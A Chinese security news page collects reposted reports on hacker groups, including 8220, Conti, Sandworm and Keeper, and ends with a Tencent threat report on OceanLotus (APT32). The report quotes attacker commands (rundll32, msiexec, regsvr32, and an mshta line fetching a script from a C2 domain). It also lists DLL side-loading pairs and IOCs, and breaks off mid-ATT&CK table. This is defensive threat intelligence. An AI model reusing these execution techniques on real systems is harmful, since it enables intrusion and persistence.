标签: 黑客组织

黑客组织“8220”将云僵尸网络发展到超过 30,000 台主机

近期,一个名为8220组织的加密采矿团伙利用Linux和云应用程序漏洞将其僵尸网络扩大至30,000多台受感染的主机。该组织的技术并不高,但经济动机强,他们针对运行Docker、Redis、Confluence和Apache漏洞版本的公开系统,感染AWS、Azure、GCP、Alitun和QCloud等主机。该团伙以前的攻击依赖于公开可用的漏洞利用来破坏 Confluence 服务器。 在获得访问权限后,攻击者使用SSH暴力破解进一步传播并劫持可用的计算资源来运行指向无法追踪的加密矿工。 8220组织至少从2017年开始就活跃起来,起先其并没有获得多大的关注,但在一系列的大量感染案例之后,人们才发现忽视这些级别较低的威胁参与者是多么不明智,并且他们同样能给网络安全带来较大的威胁。 在SentinelLabs研究人员观察和分析的最新活动中, 8220组织在用于扩展其僵尸网络的脚本中添加了新内容,尽管缺乏专门的检测规避机制,但这段代码仍具有足够的隐蔽性。从上月底开始,该组织开始使用专用文件来管理SSH暴力破解步骤,其中包含450个硬编码凭证,对应于广泛的Linux设备和应用程序。另一个更新是在脚本中使用阻止列表来排除特定主机的感染,主要涉及安全研究人员设置的蜜罐。最后,8220组织现在使用其自定义加密矿工PwnRig的新版本,它基于开源门罗矿工XMRig。 在最新版本的PwnRig中,矿工使用伪造的FBI子域,其IP地址指向巴西联邦政府域,以创建伪造的矿池请求并掩盖所产生资金的真实目的地。加密货币价格的下跌迫使加密劫持者扩大其业务规模,以便他们能够保持相同的利润。尤其是门罗币,在过去六个月中已经损失了超过 20% 的价值。预计不断下降的加密货币价格将使加密劫持对威胁参与者的吸引力降低。但是,它将继续成为许多威胁参与者的收入来源。 转自 FreeBuf,原文链接:https://www.freebuf.com/news/339622.html 封面来源于网络,如有侵权请联系删除

被 Conti 攻击后,哥斯达黎加宣布进入紧急状态

在多个政府机构遭到Conti勒索组织的网络攻击后,哥斯达黎加总统罗德里戈·查韦斯(Rodrigo Chaves)宣布全国进入紧急状态。该国上一次宣布进入紧急状态,还是在2020年应对新冠肺炎肆虐的时候。 据国外媒体报道,Conti勒索组织已经发布了所窃取的672 GB数据中的绝大部分内容,其中有很多都来自于哥斯达黎加各个政府机构。基于勒索攻击带来的严重影响,2022年5月8日,哥斯达黎加查韦斯签署了该命令,也正是这一天,查韦斯刚刚当选为第49任总统。 查韦斯表示,“哥斯达黎加遭受网络犯罪分子、网络恐怖分子的攻击,被迫宣布国家紧急状态。我们正在签署这项法令,宣布整个公共部门进入国家紧急状态。国家授权我们的社会将这些攻击作为犯罪行为来应对。” 哥斯达黎加社会保障基金 (CCSS) 发言人此前也表示,正在加大力度对Conti勒索软件的进行边界安全审查,防止CSS机构因此遭受勒索攻击。 截至5月9日,Conti勒索组织已经在其网站上泄露了97%的数据,其中有大量从哥斯达黎加政府机构窃取的数据: 在本次勒索攻击中,最先遭受Conti勒索组织攻击的机构是财政部,截止到目前尚未完整评估出此次事件的影响范围,以及纳税人信息、支付信息和海关系统的影响程度。早些时候,Conti勒索组织曾向哥斯达黎加索要1000万美元赎金,但是被政府拒绝了。 受到Conti勒索组织攻击影响的部门包括: 财政部 科学、创新、技术与电信部 劳动与社会保障部 社会发展与家庭津贴基金 国家气象研究所 哥斯达黎加社会保障基金 阿拉胡埃拉市各大学主校 目前有安全专家已经对一小部分泄露数据进行初步分析,结果显示源代码和SQL数据库确实来自政府网站。Conti攻击者“UNC1756”及其附属机构并未将此网络攻击归咎于民族国家黑客,而是单独声称对此负责并威胁要在未来进行“更严重的”攻击。 事实上,自4月18日以来,哥斯达黎加的政府程序、签名和邮票系统就已经被破坏,财政部的数字服务一直无法使用,这影响了整个“生产部门”。 查韦斯总统补充说:“我们签署了该法令,以便更好地保护自己,免受勒索组织攻击带来的伤害,这也是以此对国土的攻击。” 很难想象,一个国家会因为一个勒索组织的攻击就宣布进入紧急状态,同时也从侧面反映出Conti勒索组织是多么的丧心病狂,竟然敢公然挑衅政府部门,并对整个国家都造成了严重的影响。 目前,勒索攻击已经成为全球的威胁,无数国家和经济都有可能因此遭受巨大损失。对于Conti勒索组织的猖獗,美国也发布了高达1500万美元的巨额奖金,奖励那些提供关于Conti勒索组织领导层和运营商关键信息的人。 其中,1000万美元奖励给提供Conti勒索组织的攻击者身份和位置信息的人,另外500万美元则奖励给帮助警方逮捕的个人。 公开信息显示,Conti勒索组织发布了勒索即服务,与讲俄语的 Wizard Spider 网络犯罪组织(也以其他臭名昭著的恶意软件,包括 Ryuk、TrickBot 和 BazarLoader 等)存在关联性。 这已经不是该组织第一次入侵政府部门,此前他们还曾入侵爱尔兰卫生部 (DoH),并索要2000万美元的赎金。2021年5月,FBI发出警告,Conti勒索组织正试图破坏美国十几个医疗保健和急救组织。 2021年8月,Conti勒索组织内部人员反水,泄露了其核心的培训材料、运营商的信息、部署各种恶意工具的手册等。但是经过几个月的时间,Conti勒索组织勒似乎并未因此元气大伤,而是继续发起各种网络攻击。 随着全球勒索攻击形势进一步加剧,我们也应该思考,如何建设好网络防护体系,并做好遭受勒索攻击之后的应急响应措施,以免因此而蒙受损失。 转自 Freebuf,原文链接:https://www.freebuf.com/news/332661.html 封面来源于网络,如有侵权请联系删除

可口可乐 161GB 数据被盗 包括金融数据、密码和商业账户等

俄罗斯关联的黑客组织 Stormous 声称已成功入侵可口可乐公司,并公开售卖大量数据。Stormous 表示窃取了 161GB 的财务数据、密码和账户,然后以 644 万美元或 1600 万个比特币的价格出售这些数据。 Stormous 在宣布成功入侵之前,曾在 Telegram 上发起投票,询问它应该针对哪家公司,而可口可乐公司获得了最多的选票。据 CISO Advisor 报道,被盗文件中包括金融数据、密码和商业账户。 Stormous 是黑客世界中的一个相对新成员,但在今年年初获得了关注。他们说他们从Epic Games 窃取了 200GB 的数据,后来当它宣布支持俄罗斯入侵乌克兰时成为头条。目前仍不清楚该组织的总部在哪里,The Record 报道说它的大部分信息都是用阿拉伯语。   转自cnBeta,原文链接:https://www.cnbeta.com/articles/tech/1263867.htm 封面来源于网络,如有侵权请联系删除

美政府悬赏 1000 万美元来寻找能够识别或定位俄黑客组织 Sandworm 成员的信息

据TechCrunch报道,美国政府通过悬赏1000万美元来寻找能够识别或定位黑客组织Sandworm成员的信息,从而加大了对六名俄罗斯情报官员的追捕力度。黑客组织Sandworm的成员为俄罗斯军事情报部门GRU的一个部门工作–以对关键基础设施,包括食品供应和能源部门发起破坏性和毁灭性的网络攻击而闻名。 Sandworm可能因2017年的NotPetya勒索软件攻击而闻名,该攻击主要打击了乌克兰的计算机系统,破坏了该国的电网,导致数十万居民在深冬时节无电可用。2020年,美国检察官起诉了同样的六名 Sandworm黑客(据信他们仍在俄罗斯),罪名是NotPetya攻击,以及针对2018年韩国平昌冬奥会的其他几起攻击,以及为诋毁法国当时的总统竞选人马克龙而进行的黑客和泄密行动。 美国国务院在本周的一份声明中说,NotPetya攻击波及到乌克兰以外的更广泛的互联网,给美国私营部门,包括医疗设施和医院,造成了近10亿美元的损失。 赏金的时机正值美国官员警告称,包括 Sandworm 在内的俄罗斯支持的黑客可能正在准备针对俄罗斯入侵乌克兰后针对美国企业和组织的破坏性网络攻击。 自2月入侵开始以来,安全研究人员已经将几起网络攻击归咎于 Sandworm,包括使用“wiper”恶意软件削弱乌克兰军队严重依赖的Viasat卫星网络。乌克兰政府本月早些时候表示,它已经挫败了另一个Sandworm企图,即利用它在2016年对乌克兰发动的网络攻击中重新使用的恶意软件,将一家乌克兰能源供应商作为攻击目标。 美国联邦调查局本月还表示,它开展了一项行动,通过锁定 Sandworm黑客约一半的僵尸网络指挥和控制服务器,瓦解了一个感染了数千台受损路由器的大规模僵尸网络,其中包括许多位于美国的僵尸网络。 根据微软的新研究, Sandworm还被指责与乌克兰的其他几起破坏性网络攻击有关,作为该组织通过削弱乌克兰的经济来支持俄罗斯军事目标的努力的一部分。 微软表示,作为其命名网络对手的金属主题公约的一部分,它称之为“Iridium”的 Sandworm 还对乌克兰西部的一家运输和物流提供商的网络发起了破坏性攻击,该公司称这可能是为了阻碍乌克兰向该国东部冲突地区提供进入该国的大部分军事装备和人道主义援助的努力。 这家技术巨头还警告说, Sandworm–以及另一个被称为Fancy Bear的GRU黑客组织–继续攻击支持通信部门的公司和一个未命名的”主要”互联网供应商。微软没有说是哪家互联网供应商,但警告说,最近在本月就发现了这种活动。乌克兰政府上个月说,它已经”化解”了针对该国最大互联网供应商Ukrtelecom的IT基础设施的网络攻击。 微软的消费者安全主管Tom Burt 说,该公司已经观察到近40次直接针对关键基础设施的破坏性攻击,其中约40%的攻击 “针对关键基础设施部门的组织,可能对乌克兰政府、军队、经济和民众产生负面的二级影响”。 并非所有的攻击都是成功的。在一个案例中,微软表示,它发现有证据表明,Sandworm正在为一个农业公司的文件加密攻击创造条件,可能会破坏其粮食生产供应,而乌克兰是一个主要的全球出口国。 Burt说,Sandworm和 Fancy Bear 是六个独立的俄罗斯国营黑客组织中的两个,它们自乌克兰入侵前就开始针对乌克兰进行237次攻击。 Burt表示:“这些攻击不仅削弱了乌克兰机构的系统,而且还试图破坏人们获得可靠信息和关键生活服务的机会,并试图动摇对该国领导人的信心。我们还观察到涉及北约其他成员国的有限的间谍攻击活动,以及一些虚假信息活动。”   转自cnBeta,原文链接:https://www.cnbeta.com/articles/science/1263323.htm 封面来源于网络,如有侵权请联系删除

Meta 在新报告中提及黑客组织发布虚假的“乌克兰军队投降”信息

根据Meta(Facebook的母公司)的一份新的安全报告,一个与白俄罗斯有关的黑客组织试图入侵乌克兰军事人员的Facebook账户,并从黑客账户发布视频,谎称乌克兰军队投降。这场黑客行动之前被安全研究人员称为”Ghostwriter”,是由一个名为UNC1151的组织实施的,该组织在Mandiant进行的研究中与白俄罗斯政府有关。 Meta公司在2月份的安全更新中标出了Ghostwriter行动的活动,但自那次更新以来,该公司表示,该组织还试图入侵”几十个”账户,尽管它只在少数情况下成功。 在成功的情况下,Ghostwriter背后的黑客还通过视频形式发送误导内容,但Meta公司表示,它已经阻止了这些视频的进一步分享。传播虚假的投降信息已经成为黑客的一种策略,他们入侵了乌克兰的电视网络,并在直播新闻中植入了乌克兰投降的虚假报道。尽管这类声明可以很快被推翻,但专家们认为其目的是为了削弱乌克兰人对媒体的整体信任。 该组织还试图破坏”几十个”账户” 最新的Ghostwriter黑客攻击的细节发表在Meta的季度对抗性威胁报告的第一部分,这建立在2021年12月的类似报告之上,该报告详细介绍了该年全年面临的威胁。虽然Meta公司之前已经发布了关于平台上协调的不真实行为的定期报告,但新的威胁报告的范围更广,包括间谍行动和其他新兴威胁,如大规模虚假内容散播活动。 除了针对军事人员的黑客攻击,最新报告还详细介绍了亲俄罗斯的威胁行为者进行的一系列其他行动,包括针对各种乌克兰目标的秘密影响活动。在报告中的一个案例中,Meta公司称,一个与白俄罗斯克格勃有关的团体试图在华沙组织一个反对波兰政府的抗议活动,尽管该活动和创建该活动的账户很快被下线。 “虽然近年来公众的大部分注意力都集中在外国干涉上,但在全球范围内,国内威胁也在增加。” 虽然像这样的外国影响行动构成了报告中一些最引人注目的细节,但Meta公司表示,它也看到了专制政府在国内针对本国公民开展的影响活动的上升趋势。在周三与记者的电话会议上,Facebook负责全球事务的总裁尼克-克莱格说,对互联网自由的攻击已经急剧加强了。 克莱格说:”虽然近年来公众的大部分注意力都集中在外国干涉上,但在全球范围内,国内威胁也在增加。就像2021年一样,今年前三个月我们破坏的行动有一半以上是针对本国人民的,包括通过黑客攻击人们的账户、开展欺骗性活动和向Facebook虚假报告内容以压制批评者。” 克莱格说,专制政权通常希望通过两种方式控制信息的获取:首先是通过国营媒体和影响力活动进行宣传,其次是试图阻断可信的替代信息来源的流动。 根据Meta的报告,后一种方法也被用来限制有关乌克兰冲突的信息,该公司删除了一个由大约200个俄罗斯运营的账户组成的网络,这些账户参与了对其他用户虚构的违规行为的协调报告,包括仇恨言论、欺凌和虚假消息。 克莱格赞同取自Meta公司游说工作的一个论点,他说,报告中概述的威胁表明,”为什么我们需要保护开放的互联网,不仅要防止专制政权带来的误导和破坏,还要防止因缺乏明确规则而造成的分裂”。   转自 cnBeta ,原文链接:https://www.cnbeta.com/articles/tech/1255727.htm 封面来源于网络,如有侵权请联系删除

潜伏十年“黑客雇佣军团”现身,盯上欧洲律师事务所

今年继Dark Basin黑客雇佣组织曝光后,卡巴斯基发现第二个黑客雇佣组织Deceptikons。 俄罗斯网络安全公司卡巴斯基在一场网络研讨会中表示,发现了一个新的黑客雇佣组织,该组织已经活跃了近十年。 据卡巴斯基恶意软件分析师Vicente Diaz透露,卡巴斯基将这个组织命名为“Deceptikons”,其针对行业主要四律师事务所、金融科技公司开展攻击,窃取企业的机密数据,主要分布在欧洲,偶尔出现在中东国家,比如以色列、约旦和埃及。 该组织最近一次攻击是在2019年的一次鱼叉式网络钓鱼活动,一系列欧洲律师事务所中招,在这场活动中,该组织在目标企业主机中部署了恶意PowerShell脚本。 尚未利用0day漏洞 俄罗斯安全企业在网络研讨会中的一份书面报告中提及,“该租住在攻击技术上的发展目前还不成熟,就我们所了解到的尚未利用0day开展攻击。” 就该黑客组织的基础设施和恶意软件而言,“巧妙但不算先进”,对感染主机最大的优势在于持久性。 观察其大多数攻击事件可以发现它们具有相似的模式,始于鱼叉式网络钓鱼邮件,邮件携带更改过的恶意LINK(快捷)文件。 如果受害者下载或和邮件互动(比如点击它),这个快捷文件就会自动下载并运行PowerShell后门木马。 卡巴斯基在接下来的几周时间内将会就该组织的活动公布一些更全面的攻击技术报告。 今年第二个黑客雇佣军团 Deceptikons是今年继Dark Basin APT组织之后发现的第二个黑客雇佣军团。卡巴斯基目前暂时尚未发现该组织受命于哪家实体企业。 今年发现的第一个黑客雇佣军团Dark Basin攻击对象主要是记者、右翼团体、政府官员、金融机构等,幕后指示者似乎是一家来自印度的科技公司。 Dark Basin是一个雇佣黑客组织,目标是六大洲的数千名个人(如高级政客、政府检察官、企业 CEO、新闻工作者和人权维护者)和数百家机构,包括非营利组织和对冲基金等行业,Citizen Lab 也将其定位为网络钓鱼幕后组织。 这家名为BellTroX的印度信息科技服务企业,7 年内监视了超过 1 万个电子邮件帐户,多国政要、行业大亨、社会团体和知名机构都成为其攻击对象。该组织在被曝光之后,这场监视活动也被称为是有史以来最大的雇佣间谍活动之一。     (稿源:Freebuf,封面源自网络。)

黑客组织 Keeper 追踪:三年间入侵 570 家电商网站 牟利 700 多万元

黑客组织“Keeper”表示对在过去三年间,全球超过 570 个在线电子商务网站的数据泄漏事件负责。该黑客阻止惯用伎俩是入侵商城的后台,修改源代码、嵌入恶意脚本、记录购物者在付款时的支付卡细节等等。 这类网络攻击也被称之为“web skimming/e-skimming”(网页掠夺)。在威胁情报公司 Gemini Advisory 今天发布的一份报告中,Keeper 组织至少在2017年4月就已经开始实施这些网络犯罪,至今仍逍遥法外。 Gemini 表示,公司对该黑客组织活动进行了追踪。这主要是因为该组织的后台服务器使用了相同的控制面板,以便于管理从电商平台上收集的支付卡详细信息。 通过该后台面板的身份识别,Gemini 对 Keeper 的所有历史活动进行了追踪。其中包括过去后台面板的位置、用于构建黑客基础设置的恶意URL、还包括 Keeper 插入在线商店的恶意脚本。 Gemini表 示,在 570 家被黑客攻击的电商平台中,很多都是中小型的。根据亚马逊的Alexa流量排名,Gemini表示,绝大多数商店都是小规模运营。不过,Keeper 也会对一些大型电商平台发起攻击,以下是被攻击的排名最高的电商平台名单。 根据后台数据检索,Keeper 在在2018年7月至2019年4月期间收集的约 18.4 万个支付卡细节。在今天分享的报告中,Gemini 预估该组织已经收集了将近 70 万张支付卡信息。 报告称:“鉴于目前每张受损的Card Not Present(CNP)卡的暗网中位价为10美元,该集团在其整个生命周期内,可能通过窃取和出售受损支付卡获得了高达700多万美元的收入。” 完整报告访问:https://geminiadvisory.io/keeper-magecart-group-infects-570-sites/     (稿源:cnBeta,封面源自网络。)  

卡巴斯基报告:针对 Cycldek 黑客组织知识鸿沟的相关信息

在调查关于Cycldek组织2018年后有关攻击活动时,发现对该组织的信息了解甚少。本文旨在弥合对该组织的知识鸿沟,了解其最新活动和操作方式。以下是关于该组织的相关信息: Cycldek(也称为Goblin Panda和Conimes)在过去两年中一直很活跃,对东南亚地区国家政府进行了针对性的攻击活动。 相关活动的分析显示了两种不同的模式,表明该组织是由一个领导管理的两个运营实体组成。 我们检测发现到了用于目标网络的横向移动和信息窃取的工具,其中包括自定义工具、未报告工具以及二进制文件。 最新公布的工具之一被命名为USBCulprit,其通过USB媒体来提取受害者的数据。这表明Cycldek可能正试图到达受害者环境中的气隙网络,或依靠物理存在达到同样的目的。   … 更多内容请至Seebug Paper阅读全文:https://paper.seebug.org/1230/     消息来源:securelist, 译者:dengdeng。 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

“海莲花”(OceanLotus) 2019 年针对中国攻击活动汇总

感谢腾讯御见威胁情报中心来稿! 原文:https://mp.weixin.qq.com/s/OA09fndsHfpLVxeo7DnjYg   一、概述 “海莲花”(又名APT32、OceanLotus),被认为是来自越南的APT攻击组织,自2012年活跃以来,一直针对中国大陆的敏感目标进行攻击活动,是近几年来针对中国大陆进行攻击活动最活跃的APT攻击组织,甚至没有之一。 腾讯安全御见威胁情报中心曾在2019年上半年发布过海莲花组织2019年第一季度攻击活动报告,在报告发布之后一直到现在,我们监测到该组织针对中国大陆的攻击持续活跃。该组织的攻击目标众多且广泛,包括中国大陆的政府部门、海事机构、外交机构、大型国企、科研机构以及部分重要的私营企业等。并且我们监测到,有大量的国内目标被该组织攻击而整个内网都沦陷,且有大量的机密资料、企业服务器配置信息等被打包窃取。 此外我们发现,该组织攻击人员非常熟悉我国,对我国的时事、新闻热点、政府结构等都非常熟悉,如刚出个税改革时候,就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。 而从攻击的手法上看,相对第一季度变化不是太大,但有一些小的改进,包括攻击诱饵的种类、payload加载、绕过安全检测等方面。而从整体攻击方式来看,依然采用电子邮件投递诱饵的方式,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。这也进一步说明了APT攻击活动不会因为被曝光而停止或者有所减弱,只要攻击目标存在价值,攻击会越来越猛烈,对抗也会越来越激烈。 有关海莲花APT组织2019年对中国大陆攻击情况的完整技术报告,请参考: https://pc1.gtimg.com/softmgr/files/apt32_report_2019.pdf 二、攻击特点 2.1  钓鱼邮件的迷惑性 海莲花组织擅长使用鱼叉攻击,通过大量精准发送钓鱼邮件来投递恶意附件的方式进行攻击。整个2019年,持续对多个目标不断的进行攻击,如下列钓鱼邮件: 从邮件主题来看,大部分邮件主题都非常本土化,以及贴近时事热点。邮件主题包括: 《定-关于报送2019年度经营业绩考核目标建议材料的报告》、《组织部干部四处最新通知更新》、《关于2019下半年增加工资实施方案的请示(待审)》、《2019年工作报告提纲2(第四稿)》、《2019年5月标准干部培训课程通知》等等。 我们在2019年第一季度的报告中还提到海莲花组织采用敏感内容主题钓鱼邮件,不过在之后的攻击中并未再次发现使用该类型诱饵: 此外,投递钓鱼邮件的账号均为网易邮箱,包括126邮箱和163邮箱,账号样式为:名字拼音+数字@163(126).com,如: Sun**@126.com、yang**@126.com、chen**@126.com、zhao**@163.com、reny**@163.com等。 2.2  诱饵类型的多样化 海莲花组织所使用的诱饵类型众多,能想到的诱饵类型海莲花几乎都用过。除了我们在第一季度报告里提到的白加黑、lnk、doc文档、WinRAR ACE漏洞(CVE-2018-20250)的压缩包等类型外,之后的攻击中还新增了伪装为word图标的可执行文件、chm文件等。 可执行文件诱饵: Chm诱饵: 白加黑诱饵: 带有宏的恶意office文档: 恶意lnk: 带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包: 2.3  载荷执行方式多变 由于诱饵的多样化,载荷执行的方式也多变。此外第二阶段的加载方式同样方式众多。 1、 直接执行可执行文件 如该诱饵,伪装为word图标的可执行文件,并在文件描述里修改成了Microsoft DOCX,用于迷糊被钓鱼者。执行恶意文件后,会释放诱饵文档2019年5月标准干部培训课程通知.docx,并且打开,让受害者以为打开的就是word文档。而打开后的文档为模糊处理的文档,诱使受害者启用文档中的宏代码以查看文档内容,实际上启用宏之后,仍然看不到正常的内容: 2、 使用rundll32加载恶意dll 如某诱饵在执行后,会在C:\Users\Administrator\AppData\Local\Microsoft目录释放真正的恶意文件{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll,然后使用rundll32来执行该dll:”C:\Windows\system32\rundll32.exe” “C:\Users\ADMINI~1\AppData\Local\Microsoft\{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll”,Register 3、 宏 使用宏来执行载荷,且宏代码经过的混淆处理: 4、 Office内存执行恶意shellcode 使用宏代码,在office中直接解密shellcode,在内存中创建线程执行: 5、 dll侧加载(白加黑) 使用dll侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。 其中所使用的宿主文件对包括: 白文件原名 黑dll文件名 iTunesHelper.exe AppVersions.dll SGTool.exe Inetmib1.dll Rar.exe ldvptask.ocx GoogleUpdate.exe goopdate.dll 360se.exe chrome_elf.dll Winword.exe wwlib.dll rekeywiz.exe mpr.dll wps.exe krpt.dll wechat.exe WeChatWin.dll 6、 通过com技术执行 通过com技术,把某恶意dll注册为系统组建来执行: 7、 Chm内嵌脚本 Chm执行后,会提示执行ActiveX代码: 其脚本内容为: 不过由于编码处理的问题,该chm打开后为乱码: 而通过手动解压后,原始内容如下: 8、 使用计划任务进行持久性攻击 如上面的chm诱饵执行后,会在%AppData%\Roaming下释放文件bcdsrv.dll,然后创建名为MonthlyMaintenance的计划任务: 命令行为:C:\Windows\System32\msiexec.exe -Y C:\Users\Administrator\AppData\Roaming\bcdsrv.dll bcdsrv.dll为真正的恶意文件。 9、 lnk调用mstha执行 该方法的详细分析在之前的《海莲花2019年第一季度攻击披露》: 执行lnk后,会调用命令:C:\Windows\SysWOW64\mshta.exe http://api.baidu-json.com/feed/news.html,而news.html实际为一个vbs脚本文件。 10、 使用odbcconf.exe加载文件: odbcconf.exe为系统自带的一个文件,该文件可以用来执行dll文件,而由于宿主进程为系统文件,因此可以逃避一些安全软件的拦截: 11、WinRAR ACE(CVE-2018-20250)漏洞 带有该漏洞的压缩包,可以构造为:解压后除了会解压出正常的文件外,再在启动目录(C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)释放一个自解压文件: 该文件为一个自解压程序,等启动后,会释放一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行: 2.4  多重载荷攻击 我们在最新的攻击活动中,我们首次发现海莲花使用了多重载荷的攻击。 之前的攻击活动中,都是解密shellcode后,就直接执行最终的RAT,如: 而在最新的攻击活动中,我们发现,解密shellcode后,会先下载shellcode执行,如果下载不成功,再来加载预先设定好的RAT: 这样使得攻击活动更加的丰富和多样性,并且也可控。 2.5  与安全软件对抗激烈 海莲花也采用了多种对抗安全软件的方式,主要为: 1、 dll的侧加载(白加黑) 该技术上面已详细描述,这里不再赘述。 2、 使用系统文件来执行: 如odbcconf.exe 3、 Office中直接内存执行shellcode 上文也已经描述,这里也不再展开。 4、 添加垃圾数据以扩充文件大小 为了防止该文件被安全厂商收集,海莲花组织特意在某些文件的资源中添加大量的垃圾数据的方式以扩充文件大小。 如某文件,填充垃圾数据后,文件大小高达61.4 MB (64,480,256 字节): 5、 每台机器的第二阶段后门都是定制的 每台机器的第二阶段后门文件都是根据当前机器的机器属性(如机器名)来加密定制的,因此每台机器上的文件hash都是不一样,且没这台机器的相关信息则无法解密。因此且即便被安全厂商捕捉,只要没有这台机器的相关遥感数据就无法解密出真正的payload。详细的见后文的”定制化后门”部分。 6、 通信的伪装 如某次攻击中C2的伪装:根据配置信息,可进行不同的连接和伪装,对C2进行拼装后再进行解析。拼接方式为(xxx为配置C2): {rand}.xxx www6.xxx cdn.xxx api.xxx HTTP Header的伪装: 2.6  定制化的后门 使用定制化的后门(主要是第二阶段下发的后门),海莲花组织在2019年所使用的技术中最令人印象深刻的。该技术我们曾经在《2019年海莲花第一季度攻击报告》中首次曝光:针对每台机器下发的恶意文件,都使用被下发机器的相关机器属性(如机器名)进行加密,而执行则需要该部分信息,否则无法解密。因此每个下发的恶意文件都不一样,而且即便被安全厂商捕捉,只要没有该机器的相关遥感数据就无法解密出真正的payload。 该后门最终使用白加黑的方式来执行,包括AdobeUpdate.exe+goopdate.dll、KuGouUpdate.exe+goopdate.dll、 XGFileCheck.exe + goopdate.dll、SogouCloud.exe+ inetmib1.dll等组合来执行。 加密流程为: 可以看到,某次针对国家某单位的攻击中,使用的密钥为: 而该受害的用户名为Cao**,可见该木马只专门为了感染该电脑而特意生成的。 2.7  多种恶意软件的选择 从我们的长期跟踪结果来看,海莲花组织使用最终的恶意软件(无论是第一阶段后门还是第二阶段后门)主要有三种,分别是CobaltStrike的beacon木马、Denis家族木马、修改版的Gh0st。其中CobaltStrike和Denis使用的最多,而修改版的Gh0st则比较少见。 CobaltStrike: Denis: 修改版Gh0st: 2.8  持续的内网渗透 通过钓鱼攻击攻陷一台主机后,海莲花还会不断对被攻击的内网进行渗透攻击活动,以此来渗透到更多的内网机器: 扫描: 获取hash: 打包文件: 此外,还会还会通过powershell,创建计划任务来下载持久化的工具: 最终的恶意文件为goopdate.dll,跟上文所述的第二阶段下发后门一致。 三、可能存在的假旗活动 在跟踪海莲花的过程中,我们还发现了一些跟海莲花活动类似的攻击: 如: 可以看出该批活动跟海莲花的类似:如关键字、使用白加黑等。 而该文件最终的执行的恶意代码为两种: 一种是CobaltStrike生成的Beacon payload; 另一种是metasploit生成的block_reverse_http的paylaod。 虽然CobaltStrike的Beacon木马海莲花组织一直在进行使用,但是之前未发现有metasploit生成的payload,这似乎跟之前的海莲花攻击活动又有些不一致。 此外该批活动的c2都在中国境内(包括中国香港),这似乎跟之前的攻击活动也不大一样: 虽然这波活动在极力模仿海莲花的一些攻击行为,但是也依然存在不同的地方。因此暂未有更多的证据可以表明该活动归属于海莲花还是其他组织使用的假旗(false flag)活动。因此在这先不做定论,等待更多的证据和关联的依据。 四、总结 海莲花组织是近年来针对中国大陆的敏感部门进行攻击最活跃的APT组织,甚至没有之一。当然该组织也是被安全公司曝光的针对中国大陆攻击活动报告最多的APT攻击组织。尽管被安全厂商频繁曝光,该组织并未有停手迹象,反而不断更新其技术和武器库,包括诱饵、payload、新的漏洞利用等,此外也有众多跟杀软的对抗手段,如自增文件大小、混淆方式、定制化的payload等。 因此我们提醒相关部门和相关人员,切记提高安全意识,不要随意执行来历不明的邮件的附件,不要被钓鱼信息所蒙蔽。 五、安全建议 1、 提升安全意识,不要打开来历不明的邮件的附件;除非文档来源可靠,用途明确,否则不要轻易启用Office的宏代码; 2、 及时安装操作系统补丁和Office等重要软件的补丁; 3、 使用杀毒软件防御可能得病毒木马攻击,对于企业用户,推荐使用腾讯御点终端安全管理系统。腾讯御点内置全网漏洞修复和病毒防御功能,可帮助企业用户降低病毒木马入侵风险; 4、 推荐企业用户部署腾讯御界高级威胁检测系统及时捕捉黑客攻击。御界高级威胁检测系统,是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html) 六、附录 6.1  腾讯御见威胁情报中心 腾讯御见威胁情报中心,是一个涵盖全球多维数据的情报分析、威胁预警分析平台。依托腾讯安全在海量安全大数据上的优势,通过机器学习、顶尖安全专家团队支撑等方法,产生包括高级持续性攻击(APT)在内的大量安全威胁情报,帮助安全分析人员快速、准确对可疑事件进行预警、溯源分析。 腾讯御见威胁情报中心公众号自开号以来,发布了大量的威胁分析报告,包括不定期公开的针对中国大陆目标的APT攻击报告,无论是分析报告的数量上还是分析报告的质量上,都处于业界领先水平,受到了大量客户和安全专家的好评,同时发布的情报也经常被政府机关做为安全预警进行公告。 以下是腾讯御见威胁情报中心公众号的二维码,关注请扫描二维码: 6.2  IOCs MD5: e7920ac10815428de937f2fca076b94c 4095b9682af13ca1e897ca9cc097ec69 b96de3d0023542f8624b82b9773373e9 5c5f8c80dcb3283afeb092cb0c13a58a c90c7abcee1d98a8663904d739185d16 d249411f003d05c0cea012c11ba13716 3489140891e67807c550aa91c67dc4ad 22f8736bbc96c1a58ab07326d730a235 dade969b00cbc4a0c1b58eeb0e740b63 3c3b2cc9ff5d7030fb01496510ac75f2 d604c33d6ec99a87a672b3202cb60fa7 861fc5624fd1920e9d9cc7a236817dd7 8e2b5b95980cf52e99acfa95f5e1570b 3c8b2d20e428f8207b4324bb58f5d228 a81424e973b310edd50aed37590f4b8a cf5d6d28c388edf58e55412983cf804a 6b8bec74620fbf88263b48c5a11b682e 9eb55481a0b5fcd255c8fb8de1042f88 5c00063b11c4710fe5a5a1adaf208b12 d30bc57624d233d94dc53a62908ef2df 886d0dd67e4cf132a1aed84263d661e3 2b3c5c831eb6b921ac128c4d44d70a7a 1dfb41e5919af80c7d0fa163a90e21e5 C&C: 360skylar.host wechats.asis news.shangrilaexports.com clip.shangweidesign.com jcdn.jsoid.com libjs.inquirerjs.com baidu-search.net sys.genevrebreinl.com ad.ssageevrenue.com tel.caitlynwells.com us.melvillepitcairn.com upgrade.coldriverhardware.com cdnwebmedia.com 43.251.100.20 43.254.217.67 114.118.80.233 6.3  MITRE ATT&CK Tactic ID Name Initial Access T1193 Spearphishing Attachment Execution T1106 Execution through API T1129 Execution through Module Load T1203 Exploitation for Client Execution T1085 Rundll32 T1204 User Execution T1223 Compiled HTML File T1053 Scheduled Task T1117 Regsvr32 Persistence T1179 Hooking T1053 Scheduled Task T1060 Registry Run Keys / Startup Folder Defense Evasion T1107 File Deletion T1140 